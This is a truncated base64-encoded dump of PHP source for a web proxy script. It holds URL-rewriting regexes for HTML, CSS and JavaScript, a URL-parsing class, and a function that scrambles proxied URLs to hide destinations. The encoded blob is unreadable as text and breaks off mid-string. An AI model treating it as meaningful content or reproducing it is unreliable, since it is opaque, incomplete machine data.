sJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLFwzLFw0KScpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oW15cIHs+XHRcclxuPTtdK3skYW55c3BhY2V9PSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCglhcnJheSgxLDIsIi97JGpzYmVnaW59KHJldHVybnskcGx1c3NwYWNlfSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCgkoRU5DUllQVF9VUkxTP2FycmF5KDEsMiwiL3skanNiZWdpbn0oKD86W15cKSBce1x9XSooPzpcKVwuezAsMX0pKSspKFwuc3VibWl0eyRhbnlzcGFjZX1cKFwpKXskanNlbmR9L2kiLCdcMXZvaWQoKFwyLm1ldGhvZD09InBvc3QiP251bGw6XDJcMykpOycpOm51bGwpLA0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBIVE1ML0NTUyBQQVJTSU5HIHt7ew0KDQokcmVnZXhwX2FycmF5cz1hcnJheSgNCgkndGV4dC9odG1sJyA9PiBhcnJheSgNCgkJIyMgZG8gSFRNTCBiYXNlZCBqYXZhc2NyaXB0IHN0dWZmICMgT0xEV0FZDQoJCSNhcnJheSgxLDEsIi8oIG9uW2Etel17MywyMH17JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzooXCIpKFteXCJdKykoXCIpfCgnKShbXiddKykoJykpL2kiLCdcMVwyXDU7XDNcNjtcNFw3JyksICMgT0xEV0FZDQoJCSNhcnJheSgxLDIsIi8oPHNjcmlwdCg/Oig/Oig/ISBzcmN7JGFueXNwYWNlfT0pW14+XSkqKT4pKFtcc1xTXSo/KSg/OnskYW55c3BhY2V9KD86XC9cLyk/eyRhbnlzcGFjZX0tLT57JGFueXNwYWNlfSk/PFwvc2NyaXB0Pi9pIiwnXDFcMjsnLkNPT0tfUFJFRi4nLnB1cmdlKCk7Ly8tLT48L3NjcmlwdD4nKSwgIyBPTERXQVkNCg0KCQkjIHRhcmdldCBhdHRyDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFP2FycmF5KDEsMSwiLyg8W2Etel1bXj5dKnskYW55c3BhY2V9KSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/OnskZnJhbWV0YXJnZXRzfXwoJyl7JGZyYW1ldGFyZ2V0c30nfChcIil7JGZyYW1ldGFyZ2V0c31cIikvaSIsJ1wxJyk6bnVsbCksDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9DSElMRD9hcnJheSgxLDEsIi8oPFthLXpdW14+XSp7JGFueXNwYWNlfSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzpfdG9wfCgnKV90b3AnfChcIilfdG9wXCIpL2kiLCdcMVwyXDMnLkNPT0tfUFJFRi4nX3RvcFwyXDMnKTpudWxsKSwNCg0KCQkjIGRlYWwgd2l0aCA8Zm9ybT5zDQoJCWFycmF5KDEsMSwiLyg8Zm9ybXskZm9ybW5vdHBvc3R9Kj8pKD86eyRwbHVzc3BhY2V9YWN0aW9ueyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9KSh7JGZvcm1ub3Rwb3N0fSopPi9pIiwnXDFcMz48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSIiIGNsYXNzPSInLkNPT0tfUFJFRi4nIiB2YWx1ZT1cMiAvPicpLA0KCQlhcnJheSgyLDEsIi88aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJcIiBjbGFzcz1cIiIuQ09PS19QUkVGLiJcIiB2YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfSBcLz4vaSIsMSxmYWxzZSksDQoJCWFycmF5KDEsMSwnLyg8Zm9ybVtePl0qPyk+L2knLCdcMSB0YXJnZXQ9Il9zZWxmIicuKEVOQ1JZUFRfVVJMUz8nIG9uc3VibWl0PSJyZXR1cm4gJy5DT09LX1BSRUYuJy5mb3JtX2VuY3J5cHQodGhpcyk7Ij4nOic+JykpLA0KCQlhcnJheSgxLDEsIi8oPGZvcm17JGZvcm1ub3Rwb3N0fSspPig/ITwhLS0iLkNPT0tfUFJFRi4nLS0+KS9pJywnXDEgdGFyZ2V0PSJfcGFyZW50Ij48IS0tJy5DT09LX1BSRUYuJy0tPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IiIgdmFsdWU9Il8iPicpLA0KDQoJCSMgZGVhbCB3aXRoIHRoZSBmb3JtIGJ1dHRvbiBmb3IgZW5jcnlwdGVkIFVSTHMNCgkJKEVOQ1JZUFRfVVJMUz9hcnJheSgxLDEsIi8oPGlucHV0W14+XSo/IHR5cGV7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Olwic3VibWl0XCJ8J3N1Ym1pdCd8c3VibWl0KVtePl0qP1teXC9dKSgoPzpbIF0/W1wvXSk/PikvaSIsJ1wxIG9uY2xpY2s9IicuQ09PS19QUkVGLidfZm9ybV9idXR0b249dGhpcy5uYW1lOyJcMicpOm51bGwpLA0KDQoJCSMgcGFyc2UgYWxsIHRoZSBvdGhlciB0YWdzDQoJCWFycmF5KDIsMSwiLzxbYS16XVtePl0qeyRwbHVzc3BhY2V9eyRodG1sYXR0cnN9eyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDIpLA0KCQlhcnJheSgyLDEsIi88cGFyYW1bXj5dKnskcGx1c3NwYWNlfW5hbWV7JGFueXNwYWNlfT17JGFueXNwYWNlfVtcIiddP21vdmllW14+XSp7JHBsdXNzcGFjZX12YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxKSwNCgkJYXJyYXkoMiwyLCIvPHNjcmlwdFtePl0qP3skcGx1c3NwYWNlfXNyY3skYW55c3BhY2V9PXskYW55c3BhY2V9KFtcIiddKXskYW55c3BhY2V9KC4qP1teXFxcXF0pXFwxW14+XSo+eyRhbnlzcGFjZX08XC9zY3JpcHQ+L2kiLDIpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPGEoPzpyZWEpP3skcGx1c3NwYWNlfVtePl0qaHJlZnskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxLGZhbHNlLE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOm51bGwpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPFtpXT9mcmFtZXskcGx1c3NwYWNlfVtePl0qc3JjeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDEsZmFsc2UsUEFHRVRZUEVfRlJBTUVEX0NISUxEKTpudWxsKQ0KCSksDQoNCgkndGV4dC9jc3MnID0+IGFycmF5KA0KCQlhcnJheSgyLDEsIi9bXmEtel11cmxcKHskYW55c3BhY2V9KCYoPzpxdW90fCMoPzozWzQ5XSkpO3xcInwnKSguKj9bXlxcXFxdKShcXDEpeyRhbnlzcGFjZX1cKS9pIiwyKSwNCgkJYXJyYXkoMiwxLCIvW15hLXpddXJsXCh7JGFueXNwYWNlfSgoPyEmKD86cXVvdHwjKD86M1s0OV0pKTspW15cIidcXFxcXS4qP1teXFxcXF0peyRhbnlzcGFjZX1cKS9pIiwxKSwNCgkJYXJyYXkoMiwxLCIvQGltcG9ydHskcGx1c3NwYWNlfSgmKD86cXVvdHwjKD86M1s0OV0pKTt8XCJ8JykoLio/W15cXFxcXSkoXFwxKTsvaSIsMikNCgkpLA0KDQoJJ2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMsDQoJJ3RleHQvamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMNCik7DQoNCiMgfX19DQoNCiMgUkVHRVhQUzogSU5TRVJUIEpBVkFTQ1JJUFQgUkVHRVhQUyB7e3sNCg0KaWYoUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwcycgfHwgUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwc19mcmFtZWQnKXsgPz4vLzxzY3JpcHQ+DQo8P3BocCBlY2hvKGNvbnZlcnRhcnJheV90b19qYXZhc2NyaXB0KCkuKCghZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpPydyZWdleHBfYXJyYXlzWyJ0ZXh0L2h0bWwiXS5wdXNoKEFycmF5KDEsLzxbXFxcXC9dPyhlbWJlZHxwYXJhbXxvYmplY3QpW14+XSo+L2lnLCIiKSk7JzpudWxsKSk7ID8+DQovLzwvc2NyaXB0Pjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFNFUlZFUi1TSURFIE9OTFkgUEFSU0lORyB7e3sNCg0KYXJyYXlfcHVzaCgkcmVnZXhwX2FycmF5c1sndGV4dC9odG1sJ10sDQoJYXJyYXkoMiwxLCIvPG1ldGFbXj5dKnskcGx1c3NwYWNlfWh0dHAtZXF1aXZ7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpcmVmcmVzaFxcMVtePl0qIGNvbnRlbnR7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpWyAwLTlcLjtcdFxcclxuXSp1cmw9KC4qPylcXDJbXj5dKj4vaSIsMyx0cnVlLE5FV19QQUdFVFlQRV9GUkFNRURfUEFHRSksDQoJYXJyYXkoMSwxLCIvKDxtZXRhW14+XSp7JHBsdXNzcGFjZX1odHRwLWVxdWl2eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0oW1wiJ118KXNldC1jb29raWVcXDJbXj5dKiBjb250ZW50eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0pKFtcIiddKSguKj9bXlxcXFxdKXskYW55c3BhY2V9XFwzL2kiLCdcMVwzJy5QQUdFQ09PS19QUkVGSVguJ1w0XDMnKQ0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBDTEVBTlVQIHt7ew0KDQojIG5lZWRlZCBsYXRlciwgYnV0ICRhbnlzcGFjZSBhbmQgJGh0bWxyZWcgYXJlIHVuc2V0IGJlbG93DQpkZWZpbmUoJ0JBU0VfUkVHRVhQJywiPGJhc2VbXj5dKiBocmVmeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9W14+XSo+Iik7DQpkZWZpbmUoJ0VORF9PRl9TQ1JJUFRfVEFHJywiKD86eyRhbnlzcGFjZX0oPzpcL1wvKT97JGFueXNwYWNlfS0tPnskYW55c3BhY2V9KT88XC9zY3JpcHQ+Iik7DQpkZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsIiggb25bYS16XXszLDIwfT0oPzpcIlteXCJdK1wifCdbXiddKyd8W15cIicgPl1bXiA+XStbXlwiJyA+XSl8IGhyZWY9KD86XCJ7JGFueXNwYWNlfWphdmFzY3JpcHQ6W15cIl0rXCJ8J3skYW55c3BhY2V9amF2YXNjcmlwdDpbXiddKyd8eyRhbnlzcGFjZX1qYXZhc2NyaXB0OlteXCInID5dW14gPl0rW15cIicgPl0pKSIpOw0KDQp1bnNldCgkanNhdHRycywkanNob29rYXR0cnMsJGpzbWV0aG9kcywkanNsb2Nob3N0LCRodG1sYXR0cnMsDQogICAgICAkYW55c3BhY2UsJHBsdXNzcGFjZSwkb3BlcmFuZHMsJG5vdG9wZXJhbmRzLA0KICAgICAgJHF1b3Rlc2VnLCRyZWdzZWcsDQogICAgICAkanN2YXJzZWN0LCRqc29ianNlY3QsJGpzdmFyb2JqLCRqc3F1b3Rlc2VjdCwkanNxdW90ZXJlZywNCiAgICAgICRub3Rqc3ZhcnNlY3QsDQogICAgICAkanNlbmQsJG5vdGpzZW5kLCRqc2JlZ2luLCRqc2JlZ2lucmlnaHQsDQogICAgICAkaHRtbG5vcXVvdCwkaHRtbG5vcXVvdG5vcW0sJGh0bWxyZWcsJHhtbGh0dHByZXEsJGpzbmV3b2JqLCRmb3Jtbm90cG9zdCwkZnJhbWV0YXJnZXRzLA0KICAgICAgJGpzX3N0cmluZ19tZXRob2RzLCRqc19zdHJpbmdfYXR0cnMsDQogICAgICAkanNfcmVnZXhwX2FycmF5cw0KKTsNCg0KIyB9fX0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlMge3t7DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBBVVJMIENMQVNTIHt7ew0KDQojIGNsYXNzIGZvciBVUkwNCmNsYXNzIGF1cmx7DQoJdmFyICR1cmwsJHRvcHVybCwkbG9ja2VkOw0KCXZhciAkcHJvdG8sJHVzZXJwYXNzLCRzZXJ2ZXJuYW1lLCRwb3J0dmFsLCRwYXRoLCRmaWxlLCRxdWVyeSwkbGFiZWw7DQoNCglmdW5jdGlvbiBhdXJsKCR1cmwsJHRvcHVybD1udWxsKXsNCg0KCQlpZihzdHJsZW4oJHVybCk+TUFYSU1VTV9VUkxfTEVOR1RIKSAkdGhpcy0+dXJsPW51bGw7DQoJCWVsc2UgJHRoaXMtPnVybD1wcmVnX3JlcGxhY2UoJy8mIyhbMC05XSspOy9lJywnY2hyKFwxKScsdHJpbShzdHJfcmVwbGFjZSgnJmFtcDsnLCcmJyxzdHJfcmVwbGFjZShjaHIoMTMpLG51bGwsc3RyX3JlcGxhY2UoY2hyKDEwKSxudWxsLCR1cmwpKSkpKTsNCgkJJHRoaXMtPnRvcHVybD0kdG9wdXJsOw0KDQoJCSR0aGlzLT5kZXRlcm1pbmVfbG9ja2VkKCk7DQoJCWlmKCR0aGlzLT5sb2NrZWQpIHJldHVybjsNCg0KCQkkdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXByZWdfbWF0Y2goVVJMUkVHLCR0aGlzLT51cmwpKXsNCgkJCSR1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKCR0aGlzLT50b3B1cmw9PW51bGwpICR0aGlzLT51cmw9J2h0dHA6Ly8nLigoJHRoaXMtPnVybHswfT09JzonIHx8ICR0aGlzLT51cmx7MH09PScvJyk/c3Vic3RyKCR0aGlzLT51cmwsMSk6JHRoaXMtPnVybCkuKHN0cnBvcygkdGhpcy0+dXJsLCcvJykhPT1mYWxzZT9udWxsOicvJyk7DQoJCQkjaWYoJHRoaXMtPnRvcHVybD09bnVsbCkgJHRoaXMtPnVybD0naHR0cDovLycucHJlZ19yZXBsYWNlKCIvXjo/XC97MCwyfS8iLCIiLCR0aGlzLT51cmwpLihzdHJwb3MoJHRoaXMtPnVybCwnLycpIT09ZmFsc2U/bnVsbDonLycpOw0KCQkJZWxzZXsNCgkJCQkkbmV3dXJsPSR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpLiR0aGlzLT5nZXRfZmllbGRyZXEoMiwkdGhpcy0+dG9wdXJsLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPnRvcHVybC0+Z2V0X3NlcnZlcm5hbWUoKS4oKCR0aGlzLT50b3B1cmwtPmdldF9wb3J0dmFsKCkhPTgwICYmICgkdGhpcy0+dG9wdXJsLT5nZXRfcHJvdG8oKT09J2h0dHBzJz8kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyc6Jy4kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpOm51bGwpOw0KCQkJCWlmKCR0aGlzLT51cmx7MH0hPScvJykgJG5ld3VybC49JHRoaXMtPnRvcHVybC0+Z2V0X3BhdGgoKTsNCgkJCQkkdGhpcy0+dXJsPSRuZXd1cmwuJHRoaXMtPnVybDsNCgkJCX0NCgkJfQ0KDQoJCSR0aGlzLT5zZXRfcHJvdG8oKCR1cmx3YXN2YWxpZCB8fCAkdGhpcy0+dG9wdXJsPT1udWxsP3ByZWdfcmVwbGFjZSgnL14oW146XC9dKikuKiQvJywnXDEnLCR0aGlzLT51cmwpOiR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpKSk7DQoJCSR0aGlzLT5zZXRfdXNlcnBhc3MocHJlZ19yZXBsYWNlKFVSTFJFRywnXDInLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9zZXJ2ZXJuYW1lKHByZWdfcmVwbGFjZShVUkxSRUcsJ1wzJywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcG9ydHZhbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcNCcsJHRoaXMtPnVybCkpOw0KCQkkdGhpcy0+c2V0X3BhdGgocHJlZ19yZXBsYWNlKFVSTFJFRywnXDUnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9maWxlKHByZWdfcmVwbGFjZShVUkxSRUcsJ1w2JywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcXVlcnkocHJlZ19yZXBsYWNlKFVSTFJFRywnXDcnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9sYWJlbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcOCcsJHRoaXMtPnVybCkpOw0KDQoJCWlmKCEkdGhpcy0+bG9ja2VkICYmICFwcmVnX21hdGNoKFVSTFJFRywkdGhpcy0+dXJsKSkgaGF2b2soNywkdGhpcy0+dXJsKTsgIyoNCgl9DQoNCglmdW5jdGlvbiBkZXRlcm1pbmVfbG9ja2VkKCl7ICR0aGlzLT5sb2NrZWQ9cHJlZ19tYXRjaChBVVJMX0xPQ0tfUkVHRVhQLCR0aGlzLT51cmwpPjA7IH0gIyoNCg0KCWZ1bmN0aW9uIGdldF9maWVsZHJlcSgkZmllbGRubywkdmFsdWUpew0KCQkkZmllbGRyZXFzPWFycmF5KDIgPT4gJzovLycuKCR2YWx1ZSE9bnVsbD8iJHZhbHVlQCI6bnVsbCksIDQgPT4gKCR2YWx1ZSE9bnVsbCAmJiBpbnR2YWwoJHZhbHVlKSE9ODA/JzonLmludHZhbCgkdmFsdWUpOm51bGwpLCA3ID0+ICgkdmFsdWUhPW51bGw/Ij8kdmFsdWUiOm51bGwpLCA4ID0+ICgkdmFsdWUhPW51bGw/IiMkdmFsdWUiOm51bGwpKTsNCgkJaWYoIWFycmF5X2tleV9leGlzdHMoJGZpZWxkbm8sJGZpZWxkcmVxcykpIHJldHVybiAoZW1wdHkoJHZhbHVlKT9udWxsOiR2YWx1ZSk7DQoJCWVsc2UgcmV0dXJuICRmaWVsZHJlcXNbJGZpZWxkbm9dOw0KCX0NCg0KCWZ1bmN0aW9uIHNldF9wcm90bygkcHJvdG89JycpeyBpZigkdGhpcy0+bG9ja2VkKSByZXR1cm47ICR0aGlzLT5wcm90bz0oIWVtcHR5KCRwcm90byk/JHByb3RvOidodHRwJyk7IH0NCglmdW5jdGlvbiBnZXRfcHJvdG8oKXsgcmV0dXJuICR0aGlzLT5wcm90bzsgfQ0KCWZ1bmN0aW9uIGdldF91c2VycGFzcygpeyByZXR1cm4gJHRoaXMtPnVzZXJwYXNzOyB9DQoJZnVuY3Rpb24gc2V0X3VzZXJwYXNzKCR1c2VycGFzcz1udWxsKXsgJHRoaXMtPnVzZXJwYXNzPSR1c2VycGFzczsgfQ0KCWZ1bmN0aW9uIGdldF9zZXJ2ZXJuYW1lKCl7IHJldHVybiAkdGhpcy0+c2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIHNldF9zZXJ2ZXJuYW1lKCRzZXJ2ZXJuYW1lPW51bGwpeyAkdGhpcy0+c2VydmVybmFtZT0kc2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIGdldF9wb3J0dmFsKCl7IHJldHVybiAoZW1wdHkoJHRoaXMtPnBvcnR2YWwpPygkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JzQ0Myc6JzgwJyk6JHRoaXMtPnBvcnR2YWwpOyB9DQoJZnVuY3Rpb24gc2V0X3BvcnR2YWwoJHBvcnQ9bnVsbCl7ICR0aGlzLT5wb3J0dmFsPXN0cnZhbCgoaW50dmFsKCRwb3J0KSE9ODApPyRwb3J0Om51bGwpOyB9DQoJZnVuY3Rpb24gZ2V0X3BhdGgoKXsNCgkJaWYoc3RycG9zKCR0aGlzLT5wYXRoLCcvLi4vJykhPT1mYWxzZSkgJHRoaXMtPnBhdGg9cHJlZ19yZXBsYWNlKCcvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy8nLCcvJywkdGhpcy0+cGF0aCk7DQoJCWlmKHN0cnBvcygkdGhpcy0+cGF0aCwnLy4vJykhPT1mYWxzZSkgd2hpbGUoKCRwYXRoPXN0cl9yZXBsYWNlKCcvLi8nLCcvJywkdGhpcy0+cGF0aCkpICYmICRwYXRoIT0kdGhpcy0+cGF0aCkgJHRoaXMtPnBhdGg9JHBhdGg7DQoJCXJldHVybiAkdGhpcy0+cGF0aDsNCgl9DQoJZnVuY3Rpb24gc2V0X3BhdGgoJHBhdGg9bnVsbCl7ICR0aGlzLT5wYXRoPShlbXB0eSgkcGF0aCk/Jy8nOiRwYXRoKTsgfQ0KCWZ1bmN0aW9uIGdldF9maWxlKCl7IHJldHVybiAkdGhpcy0+ZmlsZTsgfQ0KCWZ1bmN0aW9uIHNldF9maWxlKCRmaWxlPW51bGwpeyAkdGhpcy0+ZmlsZT0kZmlsZTsgfQ0KCWZ1bmN0aW9uIGdldF9xdWVyeSgpeyByZXR1cm4gJHRoaXMtPnF1ZXJ5OyB9DQoJZnVuY3Rpb24gc2V0X3F1ZXJ5KCRxdWVyeT1udWxsKXsgJHRoaXMtPnF1ZXJ5PSRxdWVyeTsgfQ0KCWZ1bmN0aW9uIGdldF9sYWJlbCgpeyByZXR1cm4gJHRoaXMtPmxhYmVsOyB9DQoJZnVuY3Rpb24gc2V0X2xhYmVsKCRsYWJlbD1udWxsKXsgJHRoaXMtPmxhYmVsPSRsYWJlbDsgfQ0KDQoJZnVuY3Rpb24gZ2V0X3VybCgkd2l0aGxhYmVsPXRydWUpew0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHRoaXMtPnVybDsNCgkJcmV0dXJuICR0aGlzLT5nZXRfcHJvdG8oKS4nOi8vJy4NCgkJICAgICAgICgkdGhpcy0+Z2V0X3VzZXJwYXNzKCk9PW51bGw/bnVsbDokdGhpcy0+Z2V0X3VzZXJwYXNzKCkuJ0AnKS4NCgkJICAgICAgICR0aGlzLT5nZXRfc2VydmVybmFtZSgpLg0KCQkgICAgICAgKCgkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcycgJiYgaW50dmFsKCR0aGlzLT5nZXRfcG9ydHZhbCgpKT09NDQzKSB8fCBpbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpPT04MD9udWxsOic6Jy5pbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpKS4NCgkJICAgICAgICR0aGlzLT5nZXRfcGF0aCgpLiR0aGlzLT5nZXRfZmlsZSgpLg0KCQkgICAgICAgKCR0aGlzLT5nZXRfcXVlcnkoKT09bnVsbD9udWxsOic/Jy4kdGhpcy0+Z2V0X3F1ZXJ5KCkpLg0KCQkgICAgICAgKCR3aXRobGFiZWwgJiYgJHRoaXMtPmdldF9sYWJlbCgpPT1udWxsP251bGw6JyMnLiR0aGlzLT5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCWZ1bmN0aW9uIHN1cnJvZ2FmeSgpew0KCQkkbGFiZWw9JHRoaXMtPmdldF9sYWJlbCgpOw0KCQkkdGhpcy0+c2V0X2xhYmVsKCk7DQoJCSR1cmw9JHRoaXMtPmdldF91cmwoKTsNCgkJJHRoaXMtPnNldF9sYWJlbCgkbGFiZWwpOw0KDQoJCSMkdGhpcy0+ZGV0ZXJtaW5lX2xvY2tlZCgpOw0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHVybDsNCgkJIyB8fCAkdGhpcy0+Z2V0X3Byb3RvKCkuJHRoaXMtPmdldF9maWVsZHJlcSgyLCR0aGlzLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPmdldF9zZXJ2ZXJuYW1lKCkuJHRoaXMtPmdldF9wYXRoKCkuJHRoaXMtPmdldF9maWxlKCk9PVRISVNfU0NSSVBUKSByZXR1cm4gJHVybDsNCg0KCQlpZihFTkNSWVBUX1VSTFMgJiYgISR0aGlzLT5sb2NrZWQpICR1cmw9cHJveGVuYygkdXJsKTsNCgkJIyR1cmw9VEhJU19TQ1JJUFQuJz89Jy4oIUVOQ1JZUFRfVVJMUz91cmxlbmNvZGUoJHVybCk6JHVybCkuKCFlbXB0eSgkbGFiZWwpPyIjJGxhYmVsIjpudWxsKTsgIyB1cmxlbmNvZGVkDQoJCSR1cmw9VEhJU19TQ1JJUFQuIj89eyR1cmx9Ii4oIWVtcHR5KCRsYWJlbCk/IiMkbGFiZWwiOm51bGwpOw0KCQlyZXR1cm4gJHVybDsNCgl9DQp9IA0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogVVJMIFBBUlNJTkcge3t7DQpmdW5jdGlvbiBzdXJyb2dhZnlfdXJsKCR1cmwsJHRvcHVybD1mYWxzZSwkYWRkcHJveHk9dHJ1ZSl7DQoJZ2xvYmFsICRjdXJyX3VybG9iajsNCgkvL2lmKHByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2lzJywkdXJsKT4wKXsNCglpZigoJHVybHswfT09JyInICYmIHN1YnN0cigkdXJsLC0xKT09JyInKSB8fCAoJHVybHswfT09J1wnJyAmJiBzdWJzdHIoJHVybCwtMSk9PSdcJycpKXsNCgkJJHVybHF1b3RlPSR1cmx7MH07DQoJCSR1cmw9c3Vic3RyKCR1cmwsMSxzdHJsZW4oJHVybCktMik7DQoJfQ0KCWlmKCR0b3B1cmw9PT1mYWxzZSkgJHRvcHVybD0kY3Vycl91cmxvYmo7DQoJJHVybG9iaj1uZXcgYXVybCgkdXJsLCR0b3B1cmwpOw0KCSRuZXdfdXJsPSgkYWRkcHJveHk/JHVybG9iai0+c3Vycm9nYWZ5KCk6JHVybG9iai0+Z2V0X3VybCgpKTsNCglpZighZW1wdHkoJHVybHF1b3RlKSkgJG5ld191cmw9InskdXJscXVvdGV9eyRuZXdfdXJsfXskdXJscXVvdGV9IjsNCglyZXR1cm4gJG5ld191cmw7DQp9DQoNCmZ1bmN0aW9uIGZyYW1pZnlfdXJsKCR1cmwsJGZyYW1lX3R5cGU9ZmFsc2Upew0KCWlmKCgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FX1RPUCB8fCAhVVJMX0ZPUk0pICYmICgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FRF9QQUdFICYmICFQQUdFX0ZSQU1FRCkpIHJldHVybiAkdXJsOw0KCS8vaWYocHJlZ19tYXRjaCgnL14oWyJcJ10pLipcMSQvaXMnLCR1cmwpPjApew0KCWlmKCgkdXJsezB9PT0nIicgJiYgc3Vic3RyKCR1cmwsLTEpPT0nIicpIHx8ICgkdXJsezB9PT0nXCcnICYmIHN1YnN0cigkdXJsLC0xKT09J1wnJykpew0KCQkkdXJscXVvdGU9JHVybHswfTsNCgkJJHVybD1zdWJzdHIoJHVybCwxLHN0cmxlbigkdXJsKS0yKTsNCgl9DQoJaWYocHJlZ19tYXRjaChGUkFNRV9MT0NLX1JFR0VYUCwkdXJsKTw9MCl7DQoJCWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVfVE9QICYmIFVSTF9GT1JNKSAkcXVlcnk9JyY9JzsNCgkJZWxzZWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEKSAkcXVlcnk9Jy4mPSc7DQoJCWVsc2VpZigkZnJhbWVfdHlwZT09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VfRlJBTUVEKSAkcXVlcnk9J18mPSc7DQoJCWVsc2UgJHF1ZXJ5PW51bGw7DQoJCSR1cmw9cHJlZ19yZXBsYWNlKCcvXihbXlw/XSopW1w/XT8nLlBBR0VUWVBFX01JTklSRUdFWFAuJyhbXiNdKj9bI10/Lio/KSQvJywiXFwxPz17JHF1ZXJ5fVxcMyIsJHVybCwxKTsNCgl9DQoJaWYoIWVtcHR5KCR1cmxxdW90ZSkpICR1cmw9InskdXJscXVvdGV9eyR1cmx9eyR1cmxxdW90ZX0iOw0KCXJldHVybiAkdXJsOw0KfQ0KDQpmdW5jdGlvbiBwcm94ZW5jKCR1cmwpew0KCWlmKCR1cmx7MH09PSd+JyB8fCBzdHJ0b2xvd2VyKHN1YnN0cigkdXJsLDAsMykpPT0nJTdlJykgcmV0dXJuICR1cmw7DQoJJHVybD11cmxlbmNvZGUoJHVybCk7DQoJJG5ld191cmw9bnVsbDsNCglmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCSRjaGFyPW9yZCgkdXJseyRpfSk7DQoJCSRjaGFyKz1vcmQoc3Vic3RyKFNFU1NfUFJFRiwkaSVzdHJsZW4oU0VTU19QUkVGKSwxKSk7DQoJCXdoaWxlKCRjaGFyPjEyNikgJGNoYXItPTk0Ow0KCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgl9DQoJI3JldHVybiAnficuYmFzZTY0X2VuY29kZSgkbmV3X3VybCk7DQoJcmV0dXJuICd+Jy51cmxlbmNvZGUoYmFzZTY0X2V